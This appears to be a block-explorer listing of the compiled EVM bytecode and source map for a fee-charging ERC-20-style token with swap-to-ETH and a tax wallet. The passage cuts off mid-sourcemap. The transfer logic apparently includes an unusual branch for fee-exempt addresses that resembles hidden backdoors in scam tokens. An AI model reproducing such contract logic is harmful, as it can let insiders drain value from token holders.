a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461050c5760405162461bcd60e51b8152602060048201525f6024820152604401610489565b6105186012600a611377565b6105279064012a05f200611385565b6017556105366012600a611377565b6105459064012a05f200611385565b601855565b5f6103b43384846106ce565b5f546001600160a01b031633146105885760405162461bcd60e51b8152602060048201525f6024820152604401610489565b6001600160a01b0381166105b75760405162461bcd60e51b8152602060048201525f6024820152604401610489565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03821661063f5760405162461bcd60e51b8152602060048201525f6024820152604401610489565b6001600160a01b03831661066e5760405162461bcd60e51b8152602060048201525f6024820152604401610489565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106fd5760405162461bcd60e51b8152602060048201525f6024820152604401610489565b6001600160a01b03821661072c5760405162461bcd60e51b8152602060048201525f6024820152604401610489565b5f81116107545760405162461bcd60e51b8152602060048201525f6024820152604401610489565b5f546001600160a01b0384811691161480159061077e57505f546001600160a01b03838116911614155b1561091d576005546001600160a01b0384811691161480156107ae57506004546001600160a01b03838116911614155b80156107d257506001600160a01b0382165f9081526011602052604090205460ff16155b15610806576017548111156107e5575f80fd5b601854816107f28461043a565b6107fc919061139c565b1115610806575f80fd5b5f6108103061043a565b6015546001600160a01b0386165f908152601160205260409020549192508210159060ff1615801561085a57506001600160a01b0384165f9081526011602052604090205460ff16155b80156108635750805b8015610872575060085460ff16155b80156108855750600854610100900460ff165b801561089f57506005546001600160a01b03868116911614155b156108bf576108ad82610aa7565b4780156108bd576108bd47610c26565b505b6005546001600160a01b0385811691161480156108e35750826108e18661043a565b105b1561091a576001600160a01b0385165f9081526011602052604090205460ff161561091a57610913848685610c97565b5050505050565b50505b6001600160a01b0383165f9081526011602052604090205460019060ff168061095d57506001600160a01b0383165f9081526011602052604090205460ff165b8061098f57506005546001600160a01b0384811691161480159061098f57506005546001600160a01b03858116911614155b1561099b57505f610a15565b6005546001600160a01b0385811691161480156109c657506004546001600160a01b03848116911614155b156109d857600754601055600654600f555b6005546001600160a01b038481169116148015610a0357506004546001600160a01b03858116911614155b15610a1557600e54601055600d54600f555b610a2184848484610d8a565b50505050565b5f8184841115610a4a5760405162461bcd60e51b81526004016104899190611166565b505f610a5684866113af565b95945050505050565b5f601454821115610a8b5760405162461bcd60e51b8152602060048201525f6024820152604401610489565b5f610a94610db8565b9050610aa08382610dd9565b9392505050565b6008805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ae757610ae76113c2565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b57573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b7b91906113d6565b81600181518110610b8e57610b8e6113c2565b6001600160a01b039283166020918202929092010152600454610bb49130911684610610565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610beb9186915f91879130914291016113f1565b5f604051808303815f87803b158015610c02575f80fd5b505af1158015610c14573d5f803e3d5ffd5b50506008805460ff1916905550505050565b6008805460ff191660011790556016545f90610c5090606490610c4a908590610df3565b90610dd9565b6002546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610c88573d5f803e3d5ffd5b50506008805460ff1916905550565b5f805f805f80610ca687610e40565b6001600160a01b038f165f908152600a6020526040902054959b50939950919750955093509150610cd79087610e95565b6001600160a01b03808b165f908152600a602052604080822093909355908a1681522054610d059086610eaf565b6001600160a01b0389165f908152600a6020526040902055610d28818a8a610ee6565b610d328483610f78565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d7791815260200190565b60405180910390a3505050505050505050565b80610d9757610d97610f9c565b610da2848484610c97565b80610a2157610a21601354601055601254600f55565b5f805f610dc3610fc9565b9092509050610dd28282610dd9565b9250505090565b5f610aa0838360405180602001604052805f81525061104d565b5f825f03610e0257505f6103b8565b5f610e0d8385611385565b905082610e1a8583611462565b14610aa05760405162461bcd60e51b8152602060048201525f6024820152604401610489565b5f805f805f805f805f610e588a601054600f54611079565b9250925092505f610e67610db8565b90505f805f610e788e8787876110c4565b919e509c509a509598509396509194505050505091939550919395565b5f610aa0838360405180602001604052805f815250610a27565b5f80610ebb838561139c565b905083811015610aa05760405162461bcd60e51b8152602060048201525f6024820152604401610489565b6003546001600160a01b03165f908152600a6020526040812054610f0990610a5f565b90505f610f16848461110f565b610f20575f610f2e565b81600f54610f2e91906113af565b9050610f38610db8565b90505f610f458683610df3565b305f908152600a6020526040902054909150610f619082610eaf565b305f908152600a6020526040902055505050505050565b601454610f859083610e95565b601455600954610f959082610eaf565b6009555050565b600f54158015610fac5750601054155b15610fb357565b600f8054601255601080546013555f9182905555565b6014545f90819081610fdd6012600a611377565b610fec9064012a05f200611385565b9050611015610ffd6012600a611377565b61100c9064012a05f200611385565b60145490610dd9565b8210156110445760145461102b6012600a611377565b61103a9064012a05f200611385565b9350935050509091565b90939092509050565b5f818361106d5760405162461bcd60e51b81526004016104899190611166565b505f610a568486611462565b5f80808061108c6064610c4a8988610df3565b90505f61109e6064610c4a8a8a610df3565b90505f6110b5836110af8b85610e95565b90610e95565b99919850919650945050505050565b5f8080806110d28686610df3565b90505f6110df8887610df3565b90505f6110ec8a88610df3565b90505f6110fd846110af8486610e95565b919b919a509198509650505050505050565b6001600160a01b038083165f90815260116020526040808220549284168252812054909160ff9081161591161581801561115757506005546001600160a01b03868116911614155b8015610a565750949350505050565b5f602080835283518060208501525f5b8181101561119257858101830151858201604001528201611176565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111c6575f80fd5b50565b5f80604083850312156111da575f80fd5b82356111e5816111b2565b946020939093013593505050565b5f805f60608486031215611205575f80fd5b8335611210816111b2565b92506020840135611220816111b2565b929592945050506040919091013590565b5f60208284031215611241575f80fd5b8135610aa0816111b2565b5f806040838503121561125d575f80fd5b8235611268816111b2565b91506020830135611278816111b2565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156112d157815f19048211156112b7576112b7611283565b808516156112c457918102915b93841c939080029061129c565b509250929050565b5f826112e7575060016103b8565b816112f357505f6103b8565b816001811461130957600281146113135761132f565b60019150506103b8565b60ff84111561132457611324611283565b50506001821b6103b8565b5060208310610133831016604e8410600b8410161715611352575081810a6103b8565b61135c8383611297565b805f190482111561136f5761136f611283565b029392505050565b5f610aa060ff8416836112d9565b80820281158282048414176103b8576103b8611283565b808201808211156103b8576103b8611283565b818103818111156103b8576103b8611283565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113e6575f80fd5b8151610aa0816111b2565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156114415784516001600160a01b03168352938301939183019160010161141c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261147c57634e487b7160e01b5f52601260045260245ffd5b50049056fea264697066735822122027c612309d344bccc834418b207e16130a081a4feca42efba2be70adb504650f64736f6c63430008160033

Deployed Bytecode Sourcemap

3253:11148:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4702:60;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4702:60:0;;;;;;;;5150:83;;;;;;;;;;-1:-1:-1;5220:5:0;;;;;;;;;;;;-1:-1:-1;;;5220:5:0;;;;5150:83;;;;;;;:::i;9067:161::-;;;;;;;;;;-1:-1:-1;9067:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;9067:161:0;1205:187:1;3677:41:0;;;;;;;;;;-1:-1:-1;3677:41:0;;;;-1:-1:-1;;;;;3677:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;3677:41:0;1397:229:1;6199:95:0;;;;;;;;;;;;;:::i;9236:273::-;;;;;;;;;;-1:-1:-1;9236:273:0;;;;;:::i;:::-;;:::i;6108:83::-;;;;;;;;;;-1:-1:-1;6108:83:0;;3493:2;2234:36:1;;2222:2;2207:18;6108:83:0;2092:184:1;3725:28:0;;;;;;;;;;-1:-1:-1;3725:28:0;;;;-1:-1:-1;;;;;3725:28:0;;;4771:32;;;;;;;;;;-1:-1:-1;4771:32:0;;;;;;5867:138;;;;;;;;;;-1:-1:-1;5867:138:0;;;;;:::i;:::-;;:::i;1950:148::-;;;;;;;;;;;;;:::i;:::-;;4926:117;;;;;;;;;;;;;:::i;4812:48::-;;;;;;;;;;;;;;;;1771:79;;;;;;;;;;-1:-1:-1;1809:7:0;1836:6;-1:-1:-1;;;;;1836:6:0;1771:79;;4867:50;;;;;;;;;;;;;;;;6013:87;;;;;;;;;;-1:-1:-1;6085:7:0;;;;;;;;;;;;-1:-1:-1;;;6085:7:0;;;;6013:87;;9517:167;;;;;;;;;;-1:-1:-1;9517:167:0;;;;;:::i;:::-;;:::i;6575:143::-;;;;;;;;;;-1:-1:-1;6575:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6683:18:0;;;6656:7;6683:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6575:143;1557:206;;;;;;;;;;-1:-1:-1;1557:206:0;;;;;:::i;:::-;;:::i;9067:161::-;9142:4;9159:39;183:10;9182:7;9191:6;9159:8;:39::i;:::-;-1:-1:-1;9216:4:0;9067:161;;;;;:::o;6199:95::-;6252:7;4626:13;3493:2;4626;:13;:::i;:::-;4613:26;;:10;:26;:::i;:::-;6272:14;;6199:95;:::o;9236:273::-;9334:4;9351:36;9361:6;9369:9;9380:6;9351:9;:36::i;:::-;9429:49;;;;;;;;;-1:-1:-1;9429:49:0;;;-1:-1:-1;;;;;9429:19:0;;;;:11;:19;;;;;183:10;9429:33;;;;;;;;;;9398:81;;9407:6;;183:10;;9429:49;;9467:6;;9429:37;:49::i;:::-;9398:8;:81::i;:::-;-1:-1:-1;9497:4:0;9236:273;;;;;:::o;5867:138::-;-1:-1:-1;;;;;5980:16:0;;5933:7;5980:16;;;:7;:16;;;;;;5960:37;;:19;:37::i;1950:148::-;1502:6;;-1:-1:-1;;;;;1502:6:0;183:10;1502:22;1494:35;;;;-1:-1:-1;;;1494:35:0;;5018:2:1;1494:35:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;1494:35:0;;;;;;;;;2057:1:::1;2041:6:::0;;2020:40:::1;::::0;-1:-1:-1;;;;;2041:6:0;;::::1;::::0;2020:40:::1;::::0;2057:1;;2020:40:::1;2088:1;2071:19:::0;;-1:-1:-1;;;;;;2071:19:0::1;::::0;;1950:148::o;4926:117::-;1502:6;;-1:-1:-1;;;;;1502:6:0;183:10;1502:22;1494:35;;;;-1:-1:-1;;;1494:35:0;;5018:2:1;1494:35:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;1494:35:0;4816:284:1;1494:35:0;4626:13:::1;3493:2;4626;:13;:::i;:::-;4613:26;::::0;:10:::1;:26;:::i;:::-;4980:11;:21:::0;4626:13:::1;3493:2;4626;:13;:::i;:::-;4613:26;::::0;:10:::1;:26;:::i;:::-;5012:13;:23:::0;4926:117::o;9517:167::-;9595:4;9612:42;183:10;9636:9;9647:6;9612:9;:42::i;1557:206::-;1502:6;;-1:-1:-1;;;;;1502:6:0;183:10;1502:22;1494:35;;;;-1:-1:-1;;;1494:35:0;;5018:2:1;1494:35:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;1494:35:0;4816:284:1;1494:35:0;-1:-1:-1;;;;;1646:22:0;::::1;1638:35;;;::::0;-1:-1:-1;;;1638:35:0;;5018:2:1;1638:35:0::1;::::0;::::1;5000:21:1::0;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;1638:35:0::1;4816:284:1::0;1638:35:0::1;1710:6;::::0;;1689:38:::1;::::0;-1:-1:-1;;;;;1689:38:0;;::::1;::::0;1710:6;::::1;::::0;1689:38:::1;::::0;::::1;1738:6;:17:::0;;-1:-1:-1;;;;;;1738:17:0::1;-1:-1:-1::0;;;;;1738:17:0;;;::::1;::::0;;;::::1;::::0;;1557:206::o;6302:265::-;-1:-1:-1;;;;;6395:21:0;;6387:34;;;;-1:-1:-1;;;6387:34:0;;5018:2:1;6387:34:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;6387:34:0;4816:284:1;6387:34:0;-1:-1:-1;;;;;6440:19:0;;6432:32;;;;-1:-1:-1;;;6432:32:0;;5018:2:1;6432:32:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;6432:32:0;4816:284:1;6432:32:0;-1:-1:-1;;;;;6475:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6527:32;;160:25:1;;;6527:32:0;;133:18:1;6527:32:0;;;;;;;6302:265;;;:::o;6726:2333::-;-1:-1:-1;;;;;6823:20:0;;6815:33;;;;-1:-1:-1;;;6815:33:0;;5018:2:1;6815:33:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;6815:33:0;4816:284:1;6815:33:0;-1:-1:-1;;;;;6867:23:0;;6859:36;;;;-1:-1:-1;;;6859:36:0;;5018:2:1;6859:36:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;6859:36:0;4816:284:1;6859:36:0;6923:1;6914:6;:10;6906:23;;;;-1:-1:-1;;;6906:23:0;;5018:2:1;6906:23:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;6906:23:0;4816:284:1;6906:23:0;1809:7;1836:6;-1:-1:-1;;;;;6946:17:0;;;1836:6;;6946:17;;;;:41;;-1:-1:-1;1809:7:0;1836:6;-1:-1:-1;;;;;6967:20:0;;;1836:6;;6967:20;;6946:41;6942:1283;;;7036:13;;-1:-1:-1;;;;;7026:23:0;;;7036:13;;7026:23;:81;;;;-1:-1:-1;7091:15:0;;-1:-1:-1;;;;;7070:37:0;;;7091:15;;7070:37;;7026:81;:127;;;;-1:-1:-1;;;;;;7129:24:0;;;;;;:13;:24;;;;;;;;7128:25;7026:127;7004:304;;;7206:11;;7196:6;:21;;7188:30;;;;;;7278:13;;7268:6;7245:20;7255:9;7245;:20::i;:::-;:29;;;;:::i;:::-;:46;;7237:55;;;;;;7324:27;7354:24;7372:4;7354:9;:24::i;:::-;7431:20;;-1:-1:-1;;;;;7491:21:0;;7393:12;7491:21;;;:13;:21;;;;;;7324:54;;-1:-1:-1;7408:43:0;;;;7491:21;;7490:22;:68;;;;-1:-1:-1;;;;;;7534:24:0;;;;;;:13;:24;;;;;;;;7533:25;7490:68;:96;;;;;7579:7;7490:96;:124;;;;-1:-1:-1;7608:6:0;;;;7607:7;7490:124;:156;;;;-1:-1:-1;7635:11:0;;;;;;;7490:156;:200;;;;-1:-1:-1;7677:13:0;;-1:-1:-1;;;;;7667:23:0;;;7677:13;;7667:23;;7490:200;7468:496;;;7725:37;7742:19;7725:16;:37::i;:::-;7809:21;7853;;7849:100;;7899:30;7907:21;7899:7;:30::i;:::-;7706:258;7468:496;7984:13;;-1:-1:-1;;;;;7984:26:0;;;:13;;:26;:56;;;;;8034:6;8014:17;8024:6;8014:9;:17::i;:::-;:26;7984:56;7980:234;;;-1:-1:-1;;;;;8065:21:0;;;;;;:13;:21;;;;;;;;8061:138;;;8111:39;8124:9;8135:6;8143;8111:12;:39::i;:::-;8173:7;;6726:2333;;;:::o;8061:138::-;6989:1236;;6942:1283;-1:-1:-1;;;;;8295:21:0;;8237:19;8295:21;;;:13;:21;;;;;;8259:4;;8295:21;;;:49;;-1:-1:-1;;;;;;8320:24:0;;;;;;:13;:24;;;;;;;;8295:49;8294:123;;;-1:-1:-1;8376:13:0;;-1:-1:-1;;;;;8363:26:0;;;8376:13;;8363:26;;;;:53;;-1:-1:-1;8403:13:0;;-1:-1:-1;;;;;8393:23:0;;;8403:13;;8393:23;;8363:53;8276:710;;;-1:-1:-1;8461:5:0;8276:710;;;8531:13;;-1:-1:-1;;;;;8521:23:0;;;8531:13;;8521:23;:81;;;;-1:-1:-1;8586:15:0;;-1:-1:-1;;;;;8565:37:0;;;8586:15;;8565:37;;8521:81;8499:229;;;8650:15;;8637:10;:28;8697:15;;8684:10;:28;8499:229;8779:13;;-1:-1:-1;;;;;8766:26:0;;;8779:13;;8766:26;:81;;;;-1:-1:-1;8831:15:0;;-1:-1:-1;;;;;8813:34:0;;;8831:15;;8813:34;;8766:81;8744:231;;;8895:16;;8882:10;:29;8943:16;;8930:10;:29;8744:231;8996:55;9009:6;9017:9;9028:6;9036:14;8996:12;:55::i;:::-;6804:2255;6726:2333;;;:::o;543:190::-;629:7;665:12;657:6;;;;649:29;;;;-1:-1:-1;;;649:29:0;;;;;;;;:::i;:::-;-1:-1:-1;689:9:0;701:5;705:1;701;:5;:::i;:::-;689:17;543:190;-1:-1:-1;;;;;543:190:0:o;11057:212::-;11125:7;11164;;11153;:18;;11145:31;;;;-1:-1:-1;;;11145:31:0;;5018:2:1;11145:31:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;11145:31:0;4816:284:1;11145:31:0;11187:19;11209:10;:8;:10::i;:::-;11187:32;-1:-1:-1;11237:24:0;:7;11187:32;11237:11;:24::i;:::-;11230:31;11057:212;-1:-1:-1;;;11057:212:0:o;11277:406::-;5084:6;:13;;-1:-1:-1;;5084:13:0;5093:4;5084:13;;;11378:16:::1;::::0;;11392:1:::1;11378:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11378:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11378:16:0::1;11354:40;;11423:4;11405;11410:1;11405:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;11405:23:0::1;;;-1:-1:-1::0;;;;;11405:23:0::1;;;::::0;::::1;11449:15;;;;;;;;;-1:-1:-1::0;;;;;11449:15:0::1;-1:-1:-1::0;;;;;11449:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11439:4;11444:1;11439:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11439:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11514:15:::1;::::0;11482:62:::1;::::0;11499:4:::1;::::0;11514:15:::1;11532:11:::0;11482:8:::1;:62::i;:::-;11555:15;::::0;;:120:::1;::::0;-1:-1:-1;;;11555:120:0;;-1:-1:-1;;;;;11555:15:0;;::::1;::::0;:66:::1;::::0;:120:::1;::::0;11622:11;;11555:15:::1;::::0;11638:4;;11652::::1;::::0;11659:15:::1;::::0;11555:120:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5120:6:0;:14;;-1:-1:-1;;5120:14:0;;;-1:-1:-1;;;;11277:406:0:o;13927:193::-;5084:6;:13;;-1:-1:-1;;5084:13:0;5093:4;5084:13;;;14029:12:::1;:18:::0;5084:6;;14015:42:::1;::::0;14053:3:::1;::::0;14015:33:::1;::::0;:9;;:13:::1;:33::i;:::-;:37:::0;::::1;:42::i;:::-;14076:13;::::0;14068:44:::1;::::0;13993:64;;-1:-1:-1;;;;;;14076:13:0::1;::::0;14068:44;::::1;;;::::0;13993:64;;14076:13:::1;14068:44:::0;14076:13;14068:44;13993:64;14076:13;14068:44;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5120:6:0;:14;;-1:-1:-1;;5120:14:0;;;-1:-1:-1;13927:193:0:o;12657:512::-;12751:15;12768:23;12793:13;12808:23;12833:13;12848;12865:19;12876:7;12865:10;:19::i;:::-;-1:-1:-1;;;;;12913:15:0;;;;;;:7;:15;;;;;;12750:134;;-1:-1:-1;12750:134:0;;-1:-1:-1;12750:134:0;;-1:-1:-1;12750:134:0;-1:-1:-1;12750:134:0;-1:-1:-1;12750:134:0;-1:-1:-1;12913:28:0;;12750:134;12913:19;:28::i;:::-;-1:-1:-1;;;;;12895:15:0;;;;;;;:7;:15;;;;;;:46;;;;12973:18;;;;;;;:39;;12996:15;12973:22;:39::i;:::-;-1:-1:-1;;;;;12952:18:0;;;;;;:7;:18;;;;;:60;13023:41;13039:5;13046:6;12960:9;13023:15;:41::i;:::-;13075:26;13088:5;13095;13075:12;:26::i;:::-;13134:9;-1:-1:-1;;;;;13117:44:0;13126:6;-1:-1:-1;;;;;13117:44:0;;13145:15;13117:44;;;;160:25:1;;148:2;133:18;;14:177;13117:44:0;;;;;;;;12739:430;;;;;;12657:512;;;:::o;10792:257::-;10910:14;10905:37;;10926:16;:14;:16::i;:::-;10953:39;10966:6;10974:9;10985:6;10953:12;:39::i;:::-;11008:14;11003:38;;11024:17;13851:18;;13838:10;:31;13893:18;;13880:10;:31;13792:127;12485:164;12527:7;12548:15;12565;12584:19;:17;:19::i;:::-;12547:56;;-1:-1:-1;12547:56:0;-1:-1:-1;12621:20:0;12547:56;;12621:11;:20::i;:::-;12614:27;;;;12485:164;:::o;429:106::-;487:7;514:13;518:1;521;514:13;;;;;;;;;;;;:3;:13::i;741:213::-;799:7;823:1;828;823:6;819:47;;-1:-1:-1;853:1:0;846:8;;819:47;876:9;888:5;892:1;888;:5;:::i;:::-;876:17;-1:-1:-1;921:1:0;912:5;916:1;876:17;912:5;:::i;:::-;:10;904:23;;;;-1:-1:-1;;;904:23:0;;5018:2:1;904:23:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;904:23:0;4816:284:1;9957:477:0;10016:7;10025;10034;10043;10052;10061;10082:23;10107:13;10122;10139:44;10151:7;10160:10;;10172;;10139:11;:44::i;:::-;10081:102;;;;;;10194:19;10216:10;:8;:10::i;:::-;10194:32;;10238:15;10255:23;10280:13;10297:47;10309:7;10318:5;10325;10332:11;10297;:47::i;:::-;10237:107;;-1:-1:-1;10237:107:0;-1:-1:-1;10237:107:0;-1:-1:-1;10396:15:0;;-1:-1:-1;10413:5:0;;-1:-1:-1;10420:5:0;;-1:-1:-1;;;;;9957:477:0;;;;;;;:::o;1122:106::-;1180:7;1207:13;1211:1;1214;1207:13;;;;;;;;;;;;:3;:13::i;962:152::-;1020:7;;1052:5;1056:1;1052;:5;:::i;:::-;1040:17;;1081:1;1076;:6;;1068:19;;;;-1:-1:-1;;;1068:19:0;;5018:2:1;1068:19:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;1068:19:0;4816:284:1;13177:445:0;13333:14;;-1:-1:-1;;;;;13333:14:0;13279:23;13325;;;:7;:23;;;;;;13305:44;;:19;:44::i;:::-;13279:70;;13360:19;13382:44;13400:12;13414:11;13382:17;:44::i;:::-;:79;;13460:1;13382:79;;;13442:15;13429:10;;:28;;;;:::i;:::-;13360:101;;13486:10;:8;:10::i;:::-;13472:24;-1:-1:-1;13507:13:0;13523:22;:5;13472:24;13523:9;:22::i;:::-;13597:4;13581:22;;;;:7;:22;;;;;;13507:38;;-1:-1:-1;13581:33:0;;13507:38;13581:26;:33::i;:::-;13572:4;13556:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;;;;13177:445:0:o;13630:154::-;13711:7;;:18;;13723:5;13711:11;:18::i;:::-;13701:7;:28;13754:11;;:22;;13770:5;13754:15;:22::i;:::-;13740:11;:36;-1:-1:-1;;13630:154:0:o;14165:233::-;14214:10;;:15;:34;;;;-1:-1:-1;14233:10:0;;:15;14214:34;14210:47;;;14165:233::o;14210:47::-;14288:10;;;14267:18;:31;14330:10;;;14309:18;:31;-1:-1:-1;14351:14:0;;;;14376;14165:233::o;9692:257::-;9790:7;;9743;;;;;4626:13;3493:2;4626;:13;:::i;:::-;4613:26;;:10;:26;:::i;:::-;9808:25;-1:-1:-1;9858:20:0;4626:13;3493:2;4626;:13;:::i;:::-;4613:26;;:10;:26;:::i;:::-;9858:7;;;:11;:20::i;:::-;9848:7;:30;9844:61;;;9888:7;;4626:13;3493:2;4626;:13;:::i;:::-;4613:26;;:10;:26;:::i;:::-;9880:25;;;;;;9692:257;;:::o;9844:61::-;9924:7;;9933;;-1:-1:-1;9692:257:0;-1:-1:-1;9692:257:0:o;232:189::-;318:7;353:12;346:5;338:28;;;;-1:-1:-1;;;338:28:0;;;;;;;;:::i;:::-;-1:-1:-1;377:9:0;389:5;393:1;389;:5;:::i;11691:364::-;11789:7;;;;11843:31;11870:3;11843:22;:7;11855:9;11843:11;:22::i;:31::-;11827:47;-1:-1:-1;11885:13:0;11901:31;11928:3;11901:22;:7;11913:9;11901:11;:22::i;:31::-;11885:47;-1:-1:-1;11943:23:0;11969:29;11992:5;11969:18;:7;11885:47;11969:11;:18::i;:::-;:22;;:29::i;:::-;11943:55;12034:5;;-1:-1:-1;12041:5:0;;-1:-1:-1;11691:364:0;-1:-1:-1;;;;;11691:364:0:o;12063:414::-;12174:7;;;;12228:22;:5;12238:11;12228:9;:22::i;:::-;12212:38;-1:-1:-1;12261:13:0;12277:22;:5;12287:11;12277:9;:22::i;:::-;12261:38;-1:-1:-1;12310:15:0;12328:24;:7;12340:11;12328;:24::i;:::-;12310:42;-1:-1:-1;12363:23:0;12389:29;12412:5;12389:18;12310:42;12401:5;12389:11;:18::i;:29::-;12437:7;;;;-1:-1:-1;12463:5:0;;-1:-1:-1;12063:414:0;-1:-1:-1;;;;;;;12063:414:0:o;10442:342::-;-1:-1:-1;;;;;10582:27:0;;;10534:4;10582:27;;;:13;:27;;;;;;;10650:26;;;;;;;;10534:4;;10582:27;;;;10581:28;;10650:26;10649:27;10581:28;10696:55;;;;-1:-1:-1;10738:13:0;;-1:-1:-1;;;;;10722:29:0;;;10738:13;;10722:29;;10696:55;:80;;;;-1:-1:-1;10755:21:0;10689:87;-1:-1:-1;;;;10442:342:0:o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:416;3355:1;3392:5;3355:1;3406:270;3427:7;3417:8;3414:21;3406:270;;;3486:4;3482:1;3478:6;3474:17;3468:4;3465:27;3462:53;;;3495:18;;:::i;:::-;3545:7;3535:8;3531:22;3528:55;;;3565:16;;;;3528:55;3644:22;;;;3604:15;;;;3406:270;;;3410:3;3266:416;;;;;:::o;3687:806::-;3736:5;3766:8;3756:80;;-1:-1:-1;3807:1:1;3821:5;;3756:80;3855:4;3845:76;;-1:-1:-1;3892:1:1;3906:5;;3845:76;3937:4;3955:1;3950:59;;;;4023:1;4018:130;;;;3930:218;;3950:59;3980:1;3971:10;;3994:5;;;4018:130;4055:3;4045:8;4042:17;4039:43;;;4062:18;;:::i;:::-;-1:-1:-1;;4118:1:1;4104:16;;4133:5;;3930:218;;4232:2;4222:8;4219:16;4213:3;4207:4;4204:13;4200:36;4194:2;4184:8;4181:16;4176:2;4170:4;4167:12;4163:35;4160:77;4157:159;;;-1:-1:-1;4269:19:1;;;4301:5;;4157:159;4348:34;4373:8;4367:4;4348:34;:::i;:::-;4418:6;4414:1;4410:6;4406:19;4397:7;4394:32;4391:58;;;4429:18;;:::i;:::-;4467:20;;3687:806;-1:-1:-1;;;3687:806:1:o;4498:140::-;4556:5;4585:47;4626:4;4616:8;4612:19;4606:4;4585:47;:::i;4643:168::-;4716:9;;;4747;;4764:15;;;4758:22;;4744:37;4734:71;;4785:18;;:::i;5105:125::-;5170:9;;;5191:10;;;5188:36;;;5204:18;;:::i;5235